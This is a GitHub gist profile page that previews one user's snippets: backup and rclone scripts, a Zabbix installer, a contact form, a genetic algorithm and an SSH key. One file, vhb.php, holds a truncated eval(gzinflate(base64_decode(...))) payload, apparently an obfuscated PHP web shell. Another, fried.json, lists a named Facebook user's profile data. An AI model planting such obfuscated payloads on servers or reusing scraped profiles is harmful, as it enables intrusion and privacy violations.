Skip to content

Instantly share code, notes, and snippets.

Avatar

VNC Company vncloudsco

  • GMO
  • Hà Nội
View GitHub Profile
View vhb.php
<? eval(gzinflate(base64_decode('FJ3HbsPstUVfJbP8AAfsDQhuwN575yRgFSX2Xp7+0nNbpvids/dasiz/9//+899/VUfW/fN5vkPdZVv1z7ot/1vGDUb/ybO1IrD/lVUxltU//xZVVP6NJrqNYT3FLq0yeavqYfPFz8sKJxNXbx+r+qMSNlWq6Z0kI6DxZYoGQYCiabALRgIUMpAMCpMIfGC9wBwkc/xjiuDaFwdXXWAwDXZwDPYBK2FXWWB94XJyDk1fy5538ngEgzMN7EjbQLolCHQHCdZ0Pyc1E7CpPD/lpij98/16n8ijGW/kfIYlQKlMgTWhk0k96KUkPW7cOGvcLkNhNZw37QvTq9LJ9/ORkrRKJ+qm/UgoYOsWiIIRUQuwqxxDJi1Y+PFgZm4xAoXr9iNSTkaAhxYoHB/04Tqzs5n7JRBcWJvKB8eni/j1UgS41Rw7GpHM9muv1wGwd1kkMzAXhIva8SteAUWY2A40AsUNgjEAWuSsUGmrn+ruVuICWPNvg/1IpjxgflkLbb55eYfUNktHJnSjMWiFjRNqeeu+9Repf0nnBckmrspBVrEwl6KbbVh/a2j1CXM1u/Lm8tRWDqgLos9sHbvyZA3lmUrALZqiQHBXXGEX6C6IKsFKpFdMH2uZsA32+mRZ0H9nQ+ZE4bju6yJNaCM1f2GJW/3FYTMCdWszKRl7Qi2m604BcQxJoMw/Wx/FzRCvxa+D2EbXrYyROdWYub1zBN6Cct6Rb97lWqLC50tGJ0hGVXPNzAZONu2h42aJoew7l2e/LiQuVL5IfJCF9z1pP/oAgohjFw1vlD8OKeGiAkOHyrf4BiviAHtNPH0o+p0YAJ76+yDp7ivShgw4pIs2Gf6ACsGnuysj81HHXpI+vkduG8NuI1R0s3BXabIRtp+13/aXRfQsizN/7vItvBcTAotY9A2l7iW3XgFaP7usy8mM+B/5WT3JYmn3wsaZDCEMTHIu29FaRPYGSgfOyomDvwjPK7JMdZiwEyQ
View fried.json
[
{
"uid": 100005554472534,
"photo": "https://scontent.fhan2-3.fna.fbcdn.net/v/t1.0-1/p50x50/31936798_817145361813939_7117362895167422464_n.jpg?_nc_cat=0&oh=e81f8e5552e9da82bc93c660234f0f92&oe=5C392FC8",
"path": "/profile.php?id=100005554472534",
"fullName": "Nguyễn Hợp Quang",
"firstname": "Quang",
"lastname": "Nguyễn Hợp"
},
{
View keybase.md

Keybase proof

I hereby claim:

  • I am vncloudsco on github.
  • I am vouu (https://keybase.io/vouu) on keybase.
  • I have a public key ASCewVKQx4B1HSY1VsN3V1UvXGTU4QZKTyOXY27UtUU13go

To claim this, I am signing this object:

View contact.js
<--- không cho chuyển trang về trang thông báo của google form khi hoàn thành điền thông tin --->
<iframe name="hidden_iframe" id="hidden_iframe" style="display:none;" onload="if(submitted) {window.location='https://vnclouds.co/thankyou.html';}"></iframe>
<--- không cho chuyển trang về trang thông báo của google form khi hoàn thành điền thông tin --->
<form action="https://docs.google.com/forms/d/e/1FAIpQLSfkFrInyxvqJIa06A7TPQK6h8Ye642QMQS9dtf10kI-EEZcMA/formResponse" method="post" target="hidden_iframe" onsubmit="submitted=true;">
<!-- <form id="contactForm" action="https://docs.google.com/forms/d/e/1FAIpQLSfkFrInyxvqJIa06A7TPQK6h8Ye642QMQS9dtf10kI-EEZcMA/formResponse" method="post">
--> <div class="row">
<div class="col-md-6">
View Google_exel_mail
function Initialize() {
var triggers = ScriptApp.getProjectTriggers();
for(var i in triggers) {
ScriptApp.deleteTrigger(triggers[i]);
}
ScriptApp.newTrigger("SendGoogleForm")
.forSpreadsheet(SpreadsheetApp.getActiveSpreadsheet())
View backup.sh
SERVER_NAME=Backup_Vouu # thư mục sẽ lưu trữ dữ liệu
TIMESTAMP=$(date +"%F")
BACKUP_DIR="/root/backup/$TIMESTAMP"
MYSQL_USER="user"
MYSQL_PASSWORD="pass"
MYSQL=/usr/bin/mysql
MYSQLDUMP=/usr/bin/mysqldump
SECONDS=0
mkdir -p "$BACKUP_DIR/mysql"
View Rclone.sh
#!/bin/bash
SERVER_NAME="$(ifconfig | grep broadcast | awk {'print $2'} | head -1)" # get IP
# SERVER_NAME="$(ifconfig | grep broadcast | awk {'print $2'} | awk '{if(NR==1) print $0}')"
# SERVER_NAME="$(ifconfig | grep broadcast | awk {'print $2'} | sed -n 1p)"
TIMESTAMP=$(date +"%F")
BACKUP_DIR="/root/backup/$TIMESTAMP"
MYSQL_USER="user"
MYSQL_PASSWORD="pass"
MYSQL=/usr/bin/mysql
@vncloudsco
vncloudsco / genetic.py
Last active Jan 18, 2019 — forked from bellbind/genetic.py
[python]Genetic Algorithm example
View genetic.py
"""Genetic Algorithmn Implementation
see:
http://www.obitko.com/tutorials/genetic-algorithms/ga-basic-description.php
"""
import random
class GeneticAlgorithm(object):
def __init__(self, genetics):
self.genetics = genetics
pass
View authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAsmRaRw2a3ggMn3P2zNn0pUC5J6/v0LeefcHC+wHpVVUwIzwR1BowjS3cmfwwKvbTFFMVpWESyutTA/85lrWXDYV68aqU5untnxfh1tZSB4YWZsUzDSCJ+ML1K2uChCWHutyrw1WI/MxPNuWZuwYfVD6IVBbC5UvSQQtFHTDrCP+E5i+5hKMOt2A0yG3DH4h2gNrITZ9WRx84tuOPxAx/SUrO7eI20ry/BdhzL57A80oTDfkhP1K2G5nx4CwWfrHOZTvLoMP/S/Clc+llVJXVuJ1UtgR8o35xcj5Qsu7ds1WNcs0dwkbAWDG86SmvSgEZiISOV/9t/P9Syt/uuAscnw== vouublog
@vncloudsco
vncloudsco / zabbix_agent_install.sh
Created Feb 22, 2019 — forked from olmosleo/zabbix_agent_install.sh
Script for install Zabbix Agent on CentOS 7
View zabbix_agent_install.sh
#!/bin/bash
# Script for install Zabbix Agent on CentOS 7.
# github.com/@olmosleo
#SELINUX="/etc/selinux/config";
#echo "SELINUX=disabled" > $SELINUX;
#echo "SELINUXTYPE=targeted" >> $SELINUX;
# remember to reboot after install or just restart the machine when you finish to execute the script.
# Disabled SELINUX
You can’t perform that action at this time.